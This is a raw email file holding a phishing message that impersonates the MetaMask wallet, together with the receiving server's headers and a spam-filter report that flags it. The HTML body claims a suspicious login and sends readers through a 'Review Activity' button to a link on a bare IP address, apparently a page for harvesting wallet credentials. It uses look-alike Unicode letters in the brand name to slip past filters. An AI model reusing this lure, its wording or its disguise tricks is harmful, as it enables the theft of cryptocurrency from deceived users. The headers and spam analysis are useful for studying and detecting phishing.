Return-Path: <postmaster@2ab0c39f3a.nxcli.io>
Delivered-To: info@tictactocsaintcanut.com
Received: from cl-t211-187cl.majeunesse.ca
	by cl-t211-187cl.majeunesse.ca with LMTP
	id MHjjI3lXe2hodwAAV5eKQw
	(envelope-from <postmaster@2ab0c39f3a.nxcli.io>)
	for <info@tictactocsaintcanut.com>; Sat, 19 Jul 2025 04:29:45 -0400
Return-path: <postmaster@2ab0c39f3a.nxcli.io>
Envelope-to: info@tictactocsaintcanut.com
Delivery-date: Sat, 19 Jul 2025 04:29:45 -0400
Received: from cloudhost-2915334.us-midwest-1.nxcli.net ([209.87.149.25]:32840)
	by cl-t211-187cl.majeunesse.ca with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
	(Exim 4.96.2)
	(envelope-from <postmaster@2ab0c39f3a.nxcli.io>)
	id 1ud2x1-0007wv-34
	for info@tictactocsaintcanut.com;
	Sat, 19 Jul 2025 04:29:45 -0400
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=2ab0c39f3a.nxcli.io;
  b=qeCIyImR6ZcurA5rhZ09cS+hGkssTXVA1R3ScsW3XmqRL15YWbvSodi8TCDFq6KXig6dJaVmHlqABuocy38fnihmagY+m78IxDORvKP2Y3hKp7AGl3NG65cjVl7m9Lj6M6ddbfogXprMUjWBKgVqkH4b0RRolPM4EJDijttmSFUBN0TH46ZBZHRLBRJIEDwoeThzBNXPwLekmeFOMR2t+GiNxpDCN1vqzphWFhnBLuHMKpLcajyCUT8LpWZadTr0TFV6JMFYzWcu7gju3h9CVz3axEnWiOmQcy+iGf5Niqa6R2hmd/x0gFwCf3LmQcHOp30XTDjnozHn3emcGPeXZA==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority:List-Unsubscribe;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=2ab0c39f3a.nxcli.io; h=
	date:message-id:to:subject:from:reply-to:mime-version
	:content-type:list-unsubscribe; s=default; bh=3Vf4EaEfGXkPe46aJo
	xsOttWy5cYqHmdtJ9klnluCaw=; b=gfPN+Ve5Jrm67unOR8dATbXopumgFz6P3z
	KVG/y+iRh5hzUSZFP1/MDhuOkfk0zopVAqZOaRND44H7V8J0vG0aTXnnomzZbhCs
	CPWWT4JI8Spxup73XrxRhzOXQH/NIT4TmA/IiH6Uia+HVLSuxIfJS/RZoVp8MISK
	zzA848kouMsw30OVpQZxo3TMrdchFwlvhzowuSOcMXss0u/DIrHEhaIEn/Yuke2t
	Cmbrb/kugNRq957ONLcV1TDY+TH/yeDrT2pFBuVxjD55QE41GgIf03tF1QR5DkEn
	nFCZ3CvZ9iszQmgf9I9biDdwNd1hG8CBZvpsexOEzPKYx/OdW/2Q==
Received: (qmail 17453 invoked by uid 10224); 19 Jul 2025 08:29:02 +0000
Date: 19 Jul 2025 08:29:02 +0000
Message-ID: <20250719082902.17446.qmail@cloudhost-2915334.us-midwest-1.nxcli.net>
To: info@tictactocsaintcanut.com
X-PHP-Originating-Script: 10224:zbi.php
From: "MetaMask" <k8tg5515@khv.io>
Reply-To: k8tg5515@khv.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
List-Unsubscribe: <mailto:unsubscribe@k8tg5515@khv.io>
X-Spam-Status: Yes, score=8.7
X-Spam-Score: 87
X-Spam-Bar: ++++++++
X-Spam-Report: Spam detection software, running on the system "cl-t211-187cl.majeunesse.ca",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  MetаMаsk – Account Review Required Account Review Needed
    We noticed a login to your account from a new location or device. 
 Content analysis details:   (8.7 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: ctfassets.net]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [209.87.149.25 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [209.87.149.25 listed in sa-trusted.bondedsender.org]
  0.1 TVD_PH_SEC             BODY: Message includes a phrase commonly used in
                             phishing mails
  0.8 DKIM_ADSP_NXDOMAIN     No valid author signature and domain not in
                             DNS
  0.1 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
                             mail domains are different
  0.0 NORMAL_HTTP_TO_IP      URI: URI host has a public dotted-decimal IPv4
                              address
  0.0 IP_LINK_PLUS           URI: Dotted-decimal IP address followed by CGI
  0.0 NUMERIC_HTTP_ADDR      URI: Uses a numeric IP address in URL
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.7 HTML_IMAGE_ONLY_20     BODY: HTML: images with 1600-2000 bytes of
                             words
  0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
                             identical to background
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
                             [cf: 100]
  1.7 RAZOR2_CHECK           Listed in Razor2 (http://razor.sf.net/)
  2.5 UNICODE_OBFU_ASC       Obfuscating text with unicode
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
X-Spam-Flag: YES
Subject:  ***SPAM***  Security Notification


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>MetаMаsk  – Account Review Required</title>
</head>
<body style="margin:0;padding:20px;background:#f5f6fa;font-family:Arial,sans-serif;color:#333;">
  <table cellpadding="0" cellspacing="0" width="100%" style="max-width:520px;margin:auto;background:#ffffff;border:1px solid #dddddd;border-radius:8px;">
    <tr>
      <td style="padding:28px 24px;text-align:center;">
        <img src="https://images.ctfassets.net/clixtyxoaeas/1ezuBGezqfIeifWdVtwU4c/d970d4cdf13b163efddddd5709164d2e/MetaMask-icon-Fox.svg" alt="MetаMаsk" width="48" style="margin-bottom:16px;" />
        <h2 style="color:#f6851b;font-size:20px;margin-bottom:20px;font-weight:600;">Account Review Needed</h2>
        <p style="font-size:16px;line-height:1.5;margin-bottom:16px;">
          We noticed a login to your account from a new location or device.
        </p>
        <p style="font-size:16px;line-height:1.5;margin-bottom:24px;">
          Please review this activity to ensure your account security. If this wasn’t you, please secure your wallet promptly.
        </p>
        <p style="margin:0;">
          <a href="http://109.107.168.64/?id=-4599952123723473448-5128" style="background:#f6851b;color:#ffffff;text-decoration:none;padding:12px 24px;border-radius:6px;font-weight:bold;font-size:16px;display:inline-block;">
            Review Activity
          </a>
        </p>
        <p style="font-size:12px;color:#777;margin-top:30px;line-height:1.4;">
          If you recognize this activity, no further action is needed.<br />Thank you for helping keep your wallet safe.<br /><br />– MetаMаsk Security Team
        </p>
      </td>
    </tr>
  </table>
</body>
</html>